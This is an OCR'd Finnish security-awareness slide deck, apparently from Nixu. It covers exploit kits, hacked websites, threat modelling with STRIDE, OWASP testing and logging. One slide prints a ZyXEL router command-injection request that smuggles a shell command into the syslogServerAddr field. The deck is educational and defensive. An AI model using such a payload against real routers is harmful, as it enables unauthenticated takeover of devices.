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ONKO KAYTTAJAN ANTAMA SYOTE TURVALLISTA?

= ZyXEL-kotireititin: Komentojen injektointi lokienkatselun

kautta
1. Lokeja saa katsella tunnistautumatta ‘

2. Syotetta ei tarkisteta ‘
3. Kayttajan antama syote suoritetaan ‘

o — S5
POST /cgi-bin/adv_remotelog.asp HTTP/1.1

Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

Content-Length: 85

o B L P

RemotelogEnable=1&syslogServerAddr=1.1.1.1%3bping+-c+3+192.168.1.35%3b&serverPort=514

The injection is in the syslogServerAddr parameter that can be exploited

by entering a valid IP address, followed by “;<COMMAND=;"

https://blogs.securiteam.com/index.php/archives/2910
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JOKO SINULLAKIN ON EXPLOIT KIT?

Exploit kits remain a cybercrime staple
against outdated software — 2016 threat
landscape review series

Rate this article

:lﬁ msft-mmpc ry 23, 2017 | in 0 w2

https://blogs.technet.microsoft.com/mmpc/2017/01/23/exploit-kits-remain-a-
cybercrime-staple-against-outdated-software-2016-threat-landscape-
review-series/

Etusivu » Kyberturvallisuus » Tietoturva nyt! » Haittaohjelma voi vaania tutullakin sivustolla

Tietoturva nyt!

Haittaohjelma voi vaania tutullakin

sivustolla

15.04.2016 klo 12:23

Verkkosivujen julkaisujédrjesielmi, kuten WordPress, Drupal tai Joomla, on syytéi
pitéa paivitettynd viimeisimpéén versioonsa. Pdivittdmatdn jarjestelméa on altis
hytkkéayksille. Murrettu sivusto voi toimia haittaohjelmalataukseen johtavan

tapahtumaketjun kdynnistdjana.

https://www.viestintavirasto.fi/kyberturvallisuus/tietoturvanyt/2016/04/

ttn201604151223.html



Suomalaissivustoille ilmestyi Isista
panetteleva viesti — Viestintavirasto
selvittaa verkkohyokkaysta

Verkkohyokkayksen kohteeksi on joutunut yksittaisia suomalaisia sivustoja.
Viestintaviraston kasityksen mukaan kyse on suhteellisen harmittomasta
hyokkayksesta.

| verkkojulkaisut 5.2.2017 klo 14:49 Hacked By MuhmadEmad
nense HaCkeD By MuhmadEmad
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KurDish HaCk3rS Wa$S Here

—_— kurdlinux007@gmail .com
http://yle.fi/uutiset/3-9443283 FUCK TSIS |
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ETUSIVU KAIKKI UUTISET BLOGIT KUMPPANIBLOGIT VIIKON SOFTA & VINKIT

TIETOTURVA

WordPress jatti kertomatta
Kkriittisen aukon paikkaamisesta —
syy kuitenkin melko hyva

http://mww.tivi.fi/Kaikki_uutiset/wordpress-jatti-kertomatta-kriittisen-aukon-paikkaamisesta-
syy-kuitenkin-melko-hyva-6621374 n I X U



HAAVOITTUVUUKSIEN HYODYNTAMINEN

ON HELPPOA

i

Routerpwn

@ Routerpwn

routerpwn.com is a compilation of ready
to run exploits, advisories, tools and
online key generators for embedded
devices.

& routerpwn.com

EXPLOIT »
DATABASE

WPScan Vulnerability Database

Cataloging 6144 WordPress Core, Plugin and Theme
vulnerabilities

Popular Videos - Vulnerability & Exploit - YouTube
https:/fwww.youtube.com/playlist?list... ~ Kaanna tAma sivu

Vulnerability - Topic; 200 videos; 2,284 views; Updated today ... How To Exploit Joomla SQL Injection
Vulnerability Exploit Results in Full Administrative Access.

Exploit Oday : WordPress Remote File Upload Vulnerability - YouTube
https:/iwww.youtube.com/watch?v=MkBwCBOeApw ~

22.8.2014 - Lataaja: Hamzah Uygun

9:22. 17 videos Play all Watch Dogs 2 Original Game Soundtrack by Hudson
MohawkeBoss Gaming ...

Windows 10 Exploit! - Multihandler Remote Execution Vulnerability ...
https:/iwww.youtube.com/watch?v=S0gMMGSkFmI ~

22.2.2015 - Lataaja: Metasploitation

Windows 10 Exploit! - Multihandler Remote Execution Vulnerability ... This video
il is purely for educational ...
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Kuinka nama olisi voitu estaa??

Tal ainakin pienentaa vahinkoja
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UHKAMALLINNUS - MIKA VOI MENNA
PIELEEN?

Haavoittuvuus
verkkosivulla

Kayttajan
salasana
arvataan

Tietomurto
palvelimelle

Sivulta Kayttaja-

levitetadn tiedot
haittaohjelmia varastetaan

Yrityksen
maine menee

. N 29.3.2017
[

Koodari saa
potkut

NnixXuU



UHKAMALLIN PERUSTEELLA
SUOJATOIMENPITEET
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« Uhkamallinnus
* Hyokkayspinnat

»

e Tarkista uhkamalli
e Jaannosriskit

Bugit

Testi-

tapaukset

Backlog

Dokumen-

taatio

NiXU



STRIDE-MALLI ARKKITEHTUURIN JA
TIETOVUON TARKASTELUN TUEKSI

(S) (T) (R)
Spoofing Tampering Repudiation
(1) Information (D) Denial (E) Elevation
Disclosure of Service of Privilege

Selain

; WWW- - -
alvelin halllnta Y
Mobiili- Ve e

sovellus hallinta

29.3.2017 n I x U




"People are not, as Is often
claimed, the weakest link or
beyond help. The weakest link
IS almost always a vulnerability

In Internet-facing code.”

Adam Shostack
Threat Modeling — Designing for Security
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MONTA OWASP TOP 10 -ONGELMAA
LOYTYY AUTOMAATIOLLA

TLS-
XSS ja asetukset

muut
Injektiot
Mita Haavoittuvat
URLissa komponentit

nakyy




AUTOMATISOI
MAHDOLLISIMMAN

PALJON

Siten manuaalisessa tietoturvatestauksessa
ehtiil enemman ja loytyy mielenkiintoisempia
|oydoksia.
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TESTAA MONIPUOLISESTI JA ERI
NAKOKULMISTA

Kaytetta-
VVYYS

PaAte- Ovatko

laitteen turva-

salaus ominai-
suudet

vaikeita?
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ScriptSafe v1.0.9.1

Q, nytimes.com

% %

Options | 17 | IER

o IEEESE

Q, markets.on nytimes.com (1)
Q, int.nyt.com (2)

Q, sLnyt.com (1)

Q, staticD1 nyt.co

Q, cdn.optimizefy.com (1)

Q, googletagservices.com (1)
9, etnytimes.com (1)

Q, tagt.nylimes.com (1)

Allowed lems

<, al.nyt.com (12)

[ iow | Trust | Deny | Disiust | Temparary |
[“Atow | Trust | Deny | Disirust | Temporany
[“Asow 1 Trust | Deny | Disiust | Temporiey |

[“anow | Tust | Deny | Disius: |

Revoke Page Temporary Permissions

Revoke All Temporary

Sandryou | Documentation | Github | [EZECEE ~




MIKSI PITAA LOKITTAA?

Lain
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KULTAKUTRIN LOKIENHALLINTA

Lokia ei ole
tal se on
hyodytonta

Kiistamattomyys
Sanitointi
Vianselvitys tai
tietomurron
tutkinta onnistuu
Synkronoituja

29.3.2017
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cybersecurity.

WWW. NIXU.fi

o /nixuoy

o @nixutigerteam
@ /company/nixu-oy


http://www.facebook.com/nixuoy
http://twitter.com/NixuTigerTeam
http://www.linkedin.com/company/nixu-oy
http://www.nixu.fi
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